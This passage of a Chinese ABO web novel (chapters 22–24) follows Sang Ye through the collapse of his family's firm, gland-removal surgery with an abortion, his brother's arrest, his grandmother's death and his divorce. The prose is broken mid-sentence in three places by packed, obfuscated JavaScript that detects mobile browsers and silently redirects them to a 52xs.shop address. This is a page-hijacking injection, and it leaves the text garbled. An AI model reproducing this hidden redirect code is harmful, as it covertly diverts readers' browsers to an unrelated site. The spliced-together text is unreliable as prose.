主持人说:“桑氏地产最大合作伙伴相氏投资集团正在召开紧急会议,商讨是否撤资。如果相氏宣布撤资,就代表了各大投资集团对桑氏的不信任,是股民的风向标,一旦撤资,众多股民会立马抛售桑氏地产,届时必然引起股市的巨大波动。现在,让我们一起来看看现场情况。” “相先生,您作为相氏的董事,能传达一下相氏方才召开会议的最后决议来给我们股民一点建议吗?” 电视上,相召南一袭黑色西装,一丝不苟,眼神冰冷,睥睨众人,他走在走廊上,在话筒递到他面前时,只说了一句:“相氏会撤除对桑氏地产的投资。”助理便拨开围堵的众人,给他开路离开了。 桑也怎么也想不到,在官方调查结果还没有出来前,相召南居然就宣布撤资了! 他要代替官方宣告桑氏获罪吗? 他难道不知道,一旦相氏撤资,股民闻风而动,即使最后调查得出桑氏无罪,桑氏地产也会一蹶不振吗? 他怎么可以这样…… 几年的合作,连这点信任都没有吗? 几年的婚姻,不奢求豁免权,连观望的时间都不给他吗? 不指望他施以援手,可他为何要落井下石! 气血上涌,冲得他眼前一黑。身子摇摇晃晃,大脑骤然变得像钢铁一样沉重,砰的一声砸在碎掉的无事牌上。 鲜血涌了出来。 …… 好黑。 他睁不开眼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406600|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他用尽全力,也只能动了动手指。 “病人有意识了,你们现在赶紧沟通,我去催一催那边。” “好。” 这是……大哥的声音? “哥……” “我在。”桑守安握住了他的手。 大哥的手好凉。 “大哥,你还好吗?公司,真的出事了吗?” “耶耶,这些你都不用担心。” 大哥的声音听起来好疲惫。 “哥,你不要瞒着我,我也是桑家的一份子,我不想你一个人承担那么多……” 没有回应。 “哥,我怎么看不见东西?” 他抬了抬手,却被按住,“别动耶耶。” “你听我说,现在情况很特殊,之前答应你的帮你找高契合度Alpha的策略已经行不通了,所以……” “你知道吗,今天晚上我打开门看见你浑身是血躺在客厅,我害怕,我怕连你也走了。” “医生说必须马上作出反应,要么让百分百契合Alpha守着你给你释放信息素当药罐子,要么……相召南,指望不上他了。” 声音听起来似乎咬牙切齿。 “所以,我们只有一个办法了。耶耶,是我不好——我对不起爸妈,也对不起你,我没有照顾好你。” 大哥的声音越来越缓慢,阻涩,仿佛有一颗石子卡在他的喉咙里让他说不出话。 桑也心底凉了个透彻。 这一天还是来了吗? 来得 ……这样早。 他张了张嘴,说不出话。 他想揭开盖在自己眼睛上的东西,又被大哥按住手。 “别揭,耶耶,你的眼睛还在流血。” 桑也啊了一声。 “大哥,没有别的办法了吗……” 静默。 房间里似乎有很多人,但这一刻所有人都停下了动作。 桑守安没有回答,但他问:“耶耶,事态突然……” “你愿意吗?” 胜似回答。 桑也止不住地颤抖起来。 他没有等到婚礼殿堂上相召南的“你愿意吗”,却等到了医院里大哥问他“你愿意吗”。 愿意吗,挖掉腺体,成为连Beta都不如的残疾人。 如果他不曾是Omega,他会坦然接受自己的普通,可他曾享受过Omega的便利,曾经沧海。 “我……” “我……” 握住他手的力道越来越大。 还有些颤抖。 大哥也在害怕吗? “我……好。” 他深深闭上了眼。 不怕不怕,不就是挖掉腺体,大不了就是死,活下来就算他命大。 翕动的鼻翼暴露了他。 “医生?” “嗯。”陆医生问:“麻药和镇定剂调好了吗?” “好了。陆医生你手抖什么啊?” “艹了这谁来不抖。还没开始做,让我抖完了,待会才能不抖,你懂吧?” “哎,当初跟他们说准备挖腺体,他们又不要,要是当时就开始准备,还能把有经验的那个老医生请来,现在这么急,只能赶我这只鸭子上架了。” “哪能不抖啊。拜腺体主义那么严重,全世界做腺体去除手术的人屈指可数,陆医生年轻有为,经验自然就少了些……” “对对对。” 桑也和大哥手握手,听着房间里的医护人员说话,内容一听一个紧张,但气氛还算融洽。 他看过陆医生的简历,要是陆医生都做不了,那全C国也找不出第二个能做的人了。 就算陆医生说自己没经验,手抖,他对陆医生的信任依然在。 这时,房门微动,似乎有人进来了。 来者声音急促: “手术先别急,患者的孕酮有些异常——” 22. 第 22 章 “什么?!” 医生说得不直白,但也不算委婉,这话什么意思,大家一点就通。 手术室内,无论是凝视着桑也的桑守安,还是和其他医护人员闲聊缓解手术压力的陆医生,齐刷刷回头看着敲门的医生。 陆医生震惊了两秒,望向桑也:“我不是跟相先生说过你的情况不适合怀孕要他做好措施吗?怎么还是怀孕了?” 随后又后怕地补充一句:“还好按照程序做了检查,要是镇定剂没起效果,我直接给你做了腺体移除手术,那真是不死也得死了……” 桑也同样被那句“可能是怀孕了”震得说不出话来,一直到陆医生说完这一连串的话,他才反应过来可能是那天在车库…… 他太累了,回到家里直接睡着,忘记了吃药。 下颌有些轻微地颤抖,他说:“应该是我,忘记了吃药……” “吃药?”桑守安像是听到了什么不可理喻的笑话,难以置信地回头,握着他手的大掌更用力了些,在桑也缓缓点头之下,另一只手径直锤在了床上,床案的晃动显示着他的震怒。 “妈的相召南,这个混蛋!” 声音完全是从牙缝里挤出来的。 显然手术室里的人都很认可这一观点,没有人能想到一个患有信息素依赖症、情热期紊乱,压根不适合生育的人在这么关键的节点竟然会怀孕。 片刻的沉默之后,敲门进来的医生说:“先把病人推去做个B超检查确定下吧。” 桑守安起身,把他从手术台抱到可以移动的病床上。 来通知的医生似乎也看明白了这诡异的静默,和静默下大家对这个孩子不请自来的困扰,宽慰道:“不过病人好几个数据都有异常,说不定只是个巧合呢?” “先去做B超吧。” 因为只需要确认是否怀孕,B超检查做得很快。 “确实是怀孕了,根据结果来看,七八周的胎龄,已经错过了药流的时间,如果不想要的话,最好是做人工流产手术。” 桑也听到医生说这个孩子已经有七八周的时间,心脏猛地跳动了一下。 因为镇定剂的作用,他浑身无力,无论是方才在手术室,还是进了B超室,他都有一种失去身体控制权的感觉,然而就在刚刚,他的心脏跳动得如此明显。 就像黑白的画面突然迎来一瞬间的色彩。 只是可惜,立马就消褪了。 “医生,如果打掉孩子的话,他会知道我不要他了吗?” 桑也的声音平静,又带着孩童般的怪想。 医生笑了一下,回复他:“什么孩子,就一个胚胎,刚刚发育出心脏和心跳,没有意识。别想那么多。” 心脏…… 刚刚的心跳,来自于你吗? “……我知道了。” 桑守安沉默地听着弟弟和医生对话,等他们说完,才动身推着病床回到手术室。 “要告诉相先生吗?”陪同前来的陆医生问。 提到相召南,桑守安就来气,他毫不犹豫拒绝:“告诉他做什么?” 陆医生挑眉,表示自己绝对不是想要劝他们留下孩子,他比谁都清楚这个孩子来得有多不是时候。 “我的意思是,桑小先生的信息素依赖症突然异化,跟这个孩子关系很大啊。”他这些年和相召南的接触让他对这个孤傲的Alpha并没有什么好感,“当然,和过去这几年Alpha的缺位也脱不了干系。” 桑也的双目被纱布包裹,里层的白纱已经濡湿。 陆医生的话像刮骨刀,残忍地剜去他身上腐肉,露出已经烂到底的过往。 到这时候,桑也才清清楚楚的意识到,原来不是所有的付出都有回报。 单方面的倒贴换不来真心,只有缺位两个字。一针见血。 被桑守安抱回手术台上时,他突然抬手摸了摸大哥的下颌,歪了歪脑袋:“大哥,你瘦了。” “不要为我担心。” 随后他被放到又硬又冷的手术台上。他想说这里的空调能不能调高一点,他有点冷,突然又想起之前了解到的医院的空调不是给病人准备的,而是给医疗设备准备的,便算了。 略微感到有些遗憾之时,他听到大哥的声音: “耶耶,我曾两度在病房门口等结果。” “一次,检查出你存在信息素依赖症。” “另一次,就在刚刚,在你不得不做腺体移除手术的时候,得知你怀孕。” “我很失职,对吗?” 桑也立马摇头,尽管因为力气不够,摇头的幅度不大。 “不是的大哥,你是世界上最好的大哥。爸妈走了,现在世界上只有姥姥和你,是我的血亲。” 大哥没有再说话。 他猜,大哥肯定感动死了,有他这么善解人意的弟弟。 没等他笑出声,突然右臂一阵疼痛,他嘶叫了一声,手臂扭曲得不成样子。 陆医生立马走上前来。 “镇定剂这么快就失效了?看来只能两台手术一起做了——小陈,你去通知下产科那边,叫他们派个人来把人流做了。” “先把全身麻醉打上。” …… 因为上了强效麻醉,他完全感受不到疼痛,甚至有种梦幻的感觉,仿佛在梦中,一切都很不真实。 于是他清楚地感受到薄薄的手术刀划开他的颈侧肌肤,先剜去了腺体的核心部位。 他看不见,也摸不到,不知道被剜去的肤肉实际上有多大。 只有他的感受告诉他,像海那样宽广。 手术刀没有离开。 像一根根梳理头发一样,更加窄小的手术刀刀口和镊子在他的身体内内游走,寻找细小且丰富的神经和腺体末端。 离耳朵太近了。 近得他能完完全全听见刀刃拨动肌肤、划开肤肉、挑出神经的声音。 他想问医生能不能像裹住他眼睛一样把他的耳朵也裹起来,这时他的腹部突然也传来一阵细碎声响,像指甲划过黑板,令人牙酸。 是生殖腔内传来的声音。 有什么东西在刮他的肚子。 他忍不住攥紧了拳头,绷紧了肌肉,来对抗那种密密麻麻如同蚁噬的难受。 却听见陆医生说:“放松点,绷太紧我不好挑出伸进和腺体。” “不对啊,你怎么能使得上力?”他愕然道:“麻醉过效了?” “他身体太特殊,我已经按照他的情况来调了……” “那现在怎么办,再给他打一点?” “你问问他疼不疼,疼得不严重就让他忍忍吧,他麻醉剂量已经很高了,再打一剂把脑子打坏了怎么办?” 桑也心想,忍疼他最在行了。 没想到的是,这疼痛从全身各处传来,最后竟然把他疼晕过去了。 …… 醒过来时,已经躺在病床上。 他刚醒,张姨就立马迎上来,“孩子你醒了,你终于醒了……医生说,手术很成功,就是以后身体会差些,可能会出现感知错位。但这些都是小事,只要活着,都是小事!咱以后再也不用受那什么依赖症的苦了!” 许是因为激动,张姨的声音很抖。 桑也张嘴,想安慰情绪激动的张姨,却发现虽然自己双唇微微湿润,喉咙却干得说不出一点话来。 他连忙指着床头的水壶,模模糊糊发出一个“水”字。 张姨立马给他倒水。 虽然他身体有些僵硬,脖子处更是疼得不行,没办法转头,但他还是透过余光看见张姨倒水的时候偷偷抹眼泪。 等张姨用勺子给他喂水,桑也说:“张姨,没事的,不要难过。” 却见张姨的手一抖,水直接洒到了桑也的下巴上,惨白瘦削的下巴挂不住水,水滴流到他的脖颈处。 张姨连忙抽纸给他擦试,声音颤巍:“耶耶,你大哥……” “你大哥他,被批捕了!” “桑先生让我瞒着你,可我——” 窗外天气晴朗,万里无云,桑也却仿佛听见了一声震耳欲聋的雷鸣。 本以为张姨是看了他躺在病床上的样子替他难受,还想着安慰张姨,没曾想从张姨嘴中听到如此噩耗。 他完全想象不到大哥被批捕这件事情会发生。 在他的印象里,大哥不说什么绝世善人,但至少不会做坏事,他无条件相信大哥绝对是被冤枉的。 而他对桑氏出事的最坏预期也不过是桑氏一蹶不振,万万不敢想大哥竟然被批捕了! “怎么会这样呢?大哥,大哥不是说不用担心吗?他怎么可能做那些事情?是不是搞错了?” 一连好几句话,又把他喉咙搞得干涩无比。 “耶耶,桑先生他……在你做手术的时候,就被带走了。” 桑也说不出话,张姨见状立马又给他喂了点水。 “律师,律师怎么说?” “我不懂这些,但我听桑先生说,这恐怕不好解决,还说这次出事,其实是上次事情的延续。桑先生这话是什么意思?” 这话几乎是明示了,桑也心口恍若有一块刚从冷库取出来的冰,烫得他心肉急遽痉挛收缩。 害了他爸妈不成,还要害他哥,真是阴魂不散。 “桑先生就是这样说的,还说怪他失误,让人拿到了把柄……” “把柄?”桑也瞳孔骤然放大,“什么把柄?”他大哥这话是什么意思? “桑先生说的可能是那张照片。是之前他和市长吃饭,被人拍了照片,没想到过了四年竟然被翻出来……” “四年前?” 他相信大哥绝对做不出新闻上说的“贿赂获利”这种事,他桑家也没必要做这种事。 加上“四年前”这个关键的节点。 桑也顿时想到那场交易。 难道是大哥为了捞林俊从局子出来找了市长,就那个时候被拍了照片? 桑也神色有些难堪了。 他脸上本就没有血色,此时更是惨白一片,像极了败落凋零的花房。 他大哥做这事情明明是相召南一家人的请求,结果出事之后,相召南那样绝情,直接撤资,置身事外,将他们陷于无法挽救的境地。 “大哥,我要见大哥……”桑也掀开床被就要下床,结果浑身无力,差点跌坐在地上,好在张姨手疾眼快把他扶住,才免得他旧伤未愈,又添新伤。 “耶耶啊,桑先生说了,让你不要管这些麻烦事,你只管好好养伤,别留下了病根。” “我——”桑也哪里顾得上自己的身体,站起来之后又想动身,结果差点又摔倒,“咳咳,咳咳……” 他痛恨自己,恨自己为什么要有信息素依赖症,恨自己为什么一颗心扑到相召南身上,恨自己为什么在这么关键的时候症状加剧! 他就是拖累大哥的废物! 他掩面,悲痛难抑。 泪水像断线的珠子一颗一颗从纤细的手指缝里溢出。 “耶耶,别哭,当心哭坏了身体……”张姨搂着他,把他当自己孩子看待,一遍遍抚摸他单薄的后背为他顺气。 桑也默默哭了小半个小时才收住,靠在床头。哭劲过了,他便想着干正事。 他问张姨,他手机在哪里?他联系公司律师看看情况。 张姨却说,医生交代不能给你手机,说是怕屏幕刺激眼睛,产生疲劳,阻碍了眼睛伤口的痊愈,再者是怕你情绪激动影响恢复。 张姨那一副打死也不给他手机的神态让桑也只能缓缓摇了摇头,无奈地让步:“那张姨帮我去买点吃食吧,我有些饿了。” 显然张姨有些怀疑,精明的眼神扫了扫他,“我去了,你别偷偷玩手机,行吗?” “我是那种人吗?” 得了这句话,张姨才一步三回头离开VIP病房。 张姨刚一出门,桑也便做起来东张西望。他在用目光搜寻手机可能的藏身之地。 VIP病房说到底也只是比普通病房安静些,宽敞些,还是比不上家里繁琐复杂,他一眼望去,没看见什么可疑的位置。 床头柜? 他弯腰抽出床头抽屉,里面空空荡荡,什么也没有。 只剩下床头柜上的一个小盒子了。 那个小盒子只有桑也拳头大小,再怎么也不可能藏下手机。 但桑也被一种无端的念头控制住,打开了小盒子。 盒子里面是一个拇指大小的亚克力立方体,因为透明,桑也没有揭开它的盖子也能清晰看见里面的东西——一抹灰白色。 像是细沙混着石子。 那是什么? 不知为何,桑也蓦地感觉心空了一下,熟悉的感觉唤起他的记忆。 是…… 他的手不自觉颤了起来,捧着盒子的力道不由自主加大。 两个月大的孩子刚刚成型,火化之后只留下了指甲盖大小的粉末。 “耶耶?” 走廊外传来张姨的声音,桑也把盒子放回远处,掖了掖被角。 “我在医院门口买了份白粥,怕你觉得没味,还配了袋白糖。” “白粥啊……” 桑也小声道,他不喜欢清谈的,就算要吃粥,也得是皮蛋瘦肉粥一类,白粥哪行啊? 张姨当然知道他这声呢喃是什么意思,“我知道你平时吃得味重,但刚做了手术,哪能吃辛辣的?这一顿先吃点白粥,垫垫肚子,好了我再回家给你做大餐,成不?” 桑也倒也不是不讲理的人,他就是想要张姨哄哄他,得到了满意的回应,自然也不再推拒。 …… 失去了腺体的Omega,很难定义他现在到底是Beta还是Omega。 他没有属于Omega的能产生、释放信息素的腺体,但又比Beta多了个生殖腔,后颈侧还有一个微微凹陷的空荡。 失去了Omega信息素,他身上的外伤好得格外艰难。 换做以往,就算在情热期把自己挠成了血人,情热期一过,立马就能痊愈,连一点疤痕都不会留下。 这是Omega的特异之处。 看起来很不错,但用凌星的话来说,也不过是“让Alpha玩弄起来更没下限而已”。 桑也深以为然。 但真正失去了这样的特殊性,看着自己身上处处伤痕连结痂都困难,他又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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桑也笑着说:“不是,跟你没关系。我早就决定要离婚啦。” 张姨表情愣住了。 她连着“哦”了几声,僵僵地把目光移开。 也对,结婚这么多年,她都没怎么见过相先生,总是耶耶一个人回到别墅,一看就是受委屈了。 …… 看守所只让桑也和律师进去了。 桑也见到桑守安的时候,桑守安正坐在一个密闭的小房子里,没有窗户,只有一张小小的桌子,和两张板凳。 他拖着沉重的身体扑向桑守安。 “还这么爱哭呢。” 桑也从他怀里出来,“哥,到底怎么回事?” 桑守安穿着看守所统一的衣服,蓝灰色,虽然宽松,但穿在他身上却不显松垮,反而很有型。在看守所待了几天,他的精神似乎并没有受挫,只是下巴上冒了些胡茬出来。 他坐下,正了正神色。 “还记得当时和桑氏地产竞标失利的陈张集团吗?” “我们现在猜测这件事情是他们一手策划的,但事情发展到现在,真真假假已经不重要了,还是权力博弈——偏偏之前和李叔吃饭又被人拍了照片。”桑守安似乎有些烦躁,眉心紧锁。 “怎么会这样?只是一张照片,会这么严重吗?连吃饭的另一位当事人都没有被爆出来,这也能作为证据吗?” 桑守安摇头。 “那只是舆论手段而已,警方批捕的罪名是经济罪。怪我这段时间管理不严,让他们钻了空子。” 桑也听着也感到焦灼,“那——还有机会吗?” 桑守安和律师对视片刻,律师道:“机会渺茫。” “商业博弈就是一步棋的事,一招不胜,满盘皆数。” “就算入狱,只要青山在,不怕没柴烧,现在更严重的是那一场惊动全国的舆论,让桑氏彻底出了次风头,把我们以后的路都堵死了。” 说到舆论,桑也的思绪不自觉就想起了那天晚上在电视上看见的相召南,他用冷静淡定的语气宣告了桑氏的死亡,把舆论推到了顶峰。 桑也的小臂颤了起来。 “耶耶,你听我说,出去之后立马就把之前签订的股份转让书公示了,桑氏地产这边该卖就卖,已经是烂摊子了,尽早脱手也是好事一件。” 桑也听着愣神了,“哥,你的意思是……” “算了,桑氏地产这边交给职业经理人来处理,你直接出国去待几年,国内这边……恐怕不安全。” 说到这里,桑也才彻底明白了,为什么大哥话里话外都没有再“垂死挣扎”一下的意思,他本还想大哥怎么会就这样轻易放弃轻易“认罪”,可如今他才明白,或许监狱,也算个好去处。 阴魂不散,阴魂不散! 大哥在监狱,他出国…… “那姥姥呢?我得带着姥姥一块出国,可我劝不动姥姥。” 桑也抿了抿唇,想起之前他劝沈音华来S市和他们住一起都没有成功,要劝她出国,恐怕不是一件容易事。 却见大哥的脸色霎时间白了白。 桑也心里蓦然一惊,有种不详的预感,他紧紧盯着大哥的双眸,“哥,怎么了,你说话,你告诉我……” “姥姥她——”桑守安低下头,“已经去世了。” 桑也久久没有说话。 他好像听不懂大哥说的是什么。 “姥姥,去世。姥姥,去世。姥姥,姥姥她明明那么健康,怎么可能呢?大哥你这种时候就别和我开玩笑了。” 桑守安屏气,却又蓦地松了力道,他在想要如果顺着桑也所说的话蒙骗过关的几率有多大,但最后还是承认:“耶耶,我没骗你。” 身体很重,像灌了铅水,桑也猛地站起来,却被这副沉重的身体拖了后腿,身形摇晃。 “哥,你在说什么呀?你被关迷糊了吧?还是我听错了?” 桑守安这时才显现出一丝憔悴。 “你在做B超的时候,我接到春城派出所的电话,说姥姥她……”桑守安说到这里顿了一下,“在路上被酒驾的司机撞了,当场身亡。因为你马上进手术室生死不定,我不敢走,便联系了人处理姥姥的后事,只是没多久我就被警方以经济实力雄厚有潜逃出国嫌疑的理由批捕了。” 桑也听着,大脑一片空白。 做手术那天晚上…… “小宝不哭不哭,姥姥马上来,姥姥马上来……” 姥姥的话在他的耳边盘旋,久久未散。 好疼。 是他。 他的后颈,他的腹部,他的双臂和大腿,哪哪都疼。 是因为他! “哥,好像怪我……”他枯坐在看守所的木板凳上,在大哥不理解的眼神中慢慢开口:“如果不是我给姥姥打电话,姥姥也不会大晚上出门,就不会被车撞,是我不好……” 如果不是他得了这个信息素依赖症,大哥就不会为了让相召南和他结婚而联系上市长,不会和相氏深度合作以至于因为一场撤资而被推上舆论顶峰,更不会因为他病情加重而疏于管理让人钻了空子,最后可能必须在监狱里度过好几年时光。 大哥给他道歉,说对不起,可扪心自问,桑也心想,他又对得起谁? 桑也很爱哭,受了委屈要哭,擦破点皮要哭,但现在他却发现自己哭不出来,眼睛没有那种熟悉的湿漉漉感,反而干涩得吓人。他不知道,他的双目已经红得不像话了。 大悲之下,很难拗哭出声。 好疼。 23. 第 23 章 桑守安沉默许久。 这个话题太沉重了。连桑守安都静默下来。他未曾想,在姥姥车祸遇害的背后,还有这样一通电话。 “不是你的错,是司机的错,不是你的错,不要自责耶耶,永远不要自责,你没有做错任何事。” 他的宽慰在这时苍白而无力。 最后在看守人员一句“时间到了”下二人道了别。 分别时桑守安说,“你只管安心出去,我会安排好一切的。” 被看守人员领到大堂里,桑也在外人坐的铁椅上静坐了十五分钟,勉强抑制住了情绪,他仰面问律师:“离婚协议带了吗?” 律师知道他需要时间调节情绪,便安静在边上等候,闻言,他抽出准备好的离婚协议递过去,顺着协议的方向,他的目光随之而去。 就这样一眼,律师整个人都怔住了。 简单的一件毛衣,罩住他单薄得像纸一样的身体,记得他半年前见到桑小先生的时候,面前人还没有瘦得如此可怜,是因为做了手术吗?稍稍仰起的小脸白得像雪,双眼还有未褪去的红,宛如一层红色薄纱,笼着玻璃珠一般的琥珀眸子。 美得摄人心魄。 律师心里感慨,可惜没了腺体,要还是正常Omega,他肯定要为被离婚的相先生感到惋惜。 桑也借了看守所的蓝色水笔,迅速签了字,没有再多看一眼,笔盖合上发出清脆的咔哒声。 他把协议递给律师,“麻烦帮我转交给相先生,谢谢。” 南哥。 相先生。 原来没了腺体,和你说再见是这样轻而易举。 以后,就是殊途陌人了。 …… 交代好律师把离婚协议转交给相召南,又让他代为公示名下财产和接受的股份,随后便从看守所离开。 张姨一直在看守所外等他,见到他出来,立马就上来关心。 然而桑也在方才静思那十几分钟已经决定让张姨回家,只是还没酝酿好如何开口。 张姨在他家里照顾他们十多年了,桑家一向不喜欢铺张,家里阿姨最多的时候也只有三个,后来桑父桑母去世,辞退了一个,桑也结婚搬走,另一个时间短的也辞了,就剩下张姨。 而现在,大哥情况难说,他要出国,要是张姨家里没人,他就带着张姨一块出国去,也有个人照顾,可惜张姨家庭幸福美满,她的儿女肯定不会同意。 “张姨。” “怎么了耶耶?” “趁着天还早,你回家去吧。我……打算出国。”桑也心里涨涨的,“你在我们家也待了十多年了,是时候回去陪陪家里人,对吗?” 张姨听见他说“回家去”就脸色凝滞,越往后听脸上越挂不住笑,“耶耶,这……” “我记得,你女儿前不久才给你生了个外孙女对吧?我出国不知道多少年,你要是不回去,可就看不到可爱的小外孙咯。”桑也故作轻松,笑道。 张姨沉默了。 她舍不得桑也不假,可再是看着长大的孩子也不可能比得过有血缘的亲人,说到底,她和桑家也只是雇佣关系,一个是舍得花钱、待人和善的雇主,一个是做事细致、真诚以待的佣人。 桑也这人很扭捏,他嘴上说着劝张姨回家去的话,可张姨真要回去,他心里又酸酸的。如果他撒撒娇,花点钱,张姨说不定也就留下来陪他出国了。 可他不,他偏要做出一副善解人意的模样,对张姨说着心口不一的话,最后自己难受。 真贱。 他笑着,心想。 …… 张姨最后决定走,但还是坚持要照顾他直到出国,桑也没有拒绝。 次日凌星来探望。 其实桑也手术完第二天凌星就来过了,但那时桑也还没有清醒,仍昏睡着,凌星不便打扰,在病床旁边陪了他一会便走了,还是后来张姨告诉他,他才知晓。 探望病号,无非是带点水果,说些安慰话。 凌星一进来,桑也便闻到一股扑鼻而来的浓烈气息。他捂着鼻子,问:“你干什么了?” 视线往下,看见凌星手里拎着几盒榴莲肉,正是气味的源头。 “刚做完手术不好吃榴莲吧。”桑也皱眉。 “谁说是给你吃的?我自己吃不行?”凌星往床尾一坐,差点把桑也挤下去。 “?” 搞咩啊? 桑也微眯了眼,突然想起了什么,说:“你来得正好。” 凌星一听这个开头,立马站了起来。 “我有种不祥的预感。” “只是想拜托你帮我去华润湾那边收一下东西。” “那行。” “给我吃一口。” “刚做完手术不好吃榴莲吧~” “我要出国了。” “哦。哦啊?!”凌星大叫一声,差点把医院屋顶掀了。 “你要出国?” “嗯。” “可是守安哥不是……” “是哥让我出国的。”桑也靠在床上久了,有些下滑,他费劲地往上挪了挪。 “噢,噢噢!难怪你让我去华润湾收东西。”凌星摸着下巴模仿智者,“我还以为是帮你拿日用品到医院来,结果是把所有东西都收了?” 桑也垂着眸子,浅笑了下。休息一天之后,他的脸色终于恢复了些,不再惨白,稍稍有些红润了。 ——倒也不是他身体恢复能力有多强,还是有钱能使鬼推磨,他每天注射的营养剂都要六位数打底。 “那……”凌星拖长了尾音,意有所指,“相召南呢?” “他总不可能跟着你一块出国吧?我靠,你别告诉我你真要和他一块出国,他可是落井下石、欺负弱小、不守A德的王八蛋!” 看着桑也半晌没有说话,凌星小嘴一张,跟打机关枪一样叭叭叭地就往外吐词。 直到桑也哧地笑出声来。 “我跟他离婚了。” “你跟他离婚了也没用——等等,离婚?!”凌星嘴在前面飞,脑子在后面追,反应过来时大喜过望,“真离了?不是诓的我吧?” “如假包换。” 虽然他对桑也终于和那个混蛋Alpha离婚了感到十分开心,但离婚在世俗意义上毕竟不是件好事。凌星不敢笑得太得瑟,强压住嘴角,脸都抽抽了。 “想笑就笑吧,不是什么坏事。” “真的?” “你真的这样觉得?”凌星像条讨嫌的狗一样凑到桑也垂下的眼眸前,好奇问他。 没等桑也回答,他知道自己讨打,立马闪开,自顾自道:“这腺体竟然真的这么厉害?刚挖了立马便清醒?” 这话听得桑也鼻头一酸。 他这四年的沉溺,最受害的就是凌星了吧。听他讲和相召南的不和谐生活,劝他离婚却又被找理由搪塞。 说实话,这个时候凌星跑出去买个烟花当场放了他都完全能理解。 考虑到凌星留在病房既不能看护他,还有可能把病人挤下床,桑也毫不留情把人赶走,让他赶紧去帮忙把华润湾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406602|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西收拾出来。 凌星正为他离婚感到高兴,干活也有劲,乐呵乐呵屁颠屁颠就去了。 等人走了,他把手机免打扰模式打开,蒙着头睡觉。 再醒来的时候,是张姨拍着他的肩背唤他。众所周知,眼睛看不见的时候,耳朵也会失聪。还没睁开眼时,他只能听见张姨急切地在叫他,听不清到底在说什么,等他迷迷糊糊睁开了眼,才听清楚张姨说的是“相先生打电话来了”。 桑也看向自己手机,没响啊。 下一秒,张姨的手机响了一声,又一声。 张姨面露尴尬,不知如何是好。 把手机递给床上的人后,她便自觉到病房外面去了。在桑家干了十多年,不听雇主通电话早已成了习惯。 拿到手机,桑也并没有立马接通。 他刚醒,脑子有些不清明,但又思绪灵活,无端想到,原来这就是他以前天天期盼的电话吗? 现在看来,也没什么值得等的。 他一边在张姨的手机屏幕上按下绿色接通键,一边打开自己的手机,果然在锁屏页面看见了来自【南哥】的十七个未接电话。 电话刚一接通,就听见了相召南愠怒的质问: “桑也,你要跟我离婚?” 他声音太大了,桑也嫌吵得耳朵疼,便把手机拿远了些,等没声了再拿回来。 “嗯。”他只回了一个嗯声。 “嗯?”相召南似乎对他简单的回复感到不满意。 他当然不满意,以前他但凡表示点不满,桑也立马上赶着要么解释,要么献身,从未受过现在这样的冷落。 但他似乎也意识到自己被愤怒的情绪控制了大脑,镇定了下来,不再是质问,改成暗讽: “桑也,欲擒故纵这招对我没用。玩够了就回来自己把那破协议书处理了。” “阿姨说你十来天没回过家,又在哪里鬼混?” 桑也安静地把自己手机上的未接电话记录删去,又把【南哥】的联系人拉黑,才说:“不回去了。” “桑也。”相召南定声道。 刚才的一声质问是他打了太多未接电话情绪上头,现在恢复了理智,又开始用一贯的手段,色厉内荏地喊出桑也的名字。 可惜桑也不一样了。 他不会再因为相召南的一次唤名就像巴普洛夫的狗一样回到他身边。 半天没有得到回应,相召南拧眉,语气又捎上了愠色。 “桑也!” “不回去了。”桑也不动声色,“离婚吧。” 相召南笑出声。 “离婚?桑也,你忘了当初为什么和我结婚么?离了婚,你情热期怎么办?” 桑也不可能和他离婚! 想到之前意外听见凌星劝离婚时,桑也所说的话,相召南突然感觉这样也好,至少这样桑也就离不开他。 他信誓旦旦。 桑也仰头,看着窗户的一角,垂顺的窗帘布一旦拉上能把光亮遮挡个严严实实。他以前就是被这样一张窗帘遮住了眼。 “不会有情热期了。” 电话那边沉默许久。 “什么意思?” 相召南停顿片刻,似乎意识到了什么,“你——” “字面意思。”桑也身体还虚,被吵了一顿,心情不好,重新躺下。 只听见电话那边: “桑也,你可真是好样的,想走就走,想留就留。结婚是你提的,现在跟我提离婚?” “你把我相召南当什么?” 24. 第 24 章 电话对面许久没有传来声响。 常年用万宝龙写字而起了茧子的食指在大理石桌面规律地敲击,慢慢地,速度越来越快,力道越来越大。 敲击声宣告着相召南耐心即将空涸。 从桑氏地产爆出“作假、行贿”丑闻开始,相召南便在公司连轴转,没日没夜开会,谈话,安抚股东心情,和其他有融资需求的公司洽谈。 今天抽身回华润湾,是因为阿姨打电话问他助理桑先生还回来吗,说是十多天没见到桑先生了。 助理告诉他时,相召南下意识认为桑也是跑回桑家别墅了。 他便没有放在心上,继续工作。 但令人头疼的是,从助理告诉他“桑也十多天没回家”这件事起,任他喝多少咖啡,都没有办法聚精会神地处理工作,合同上的字突兀地变成了一个个蚂蚁,看得他心烦。 只要桑也,甚至不是桑也这个人,只是名字,闯入了他的工作区域,他就再也没办法安心工作了。 像最初那次身着睡袍的桑也懵懂误入他的书房一样,这么多年纹丝未变。 再这样耗下去也没办法完成工作,他只好回了趟华润湾,去看看情况。 阿姨不住家,定时到华润湾来,好在相召南回去的时候阿姨还没走。 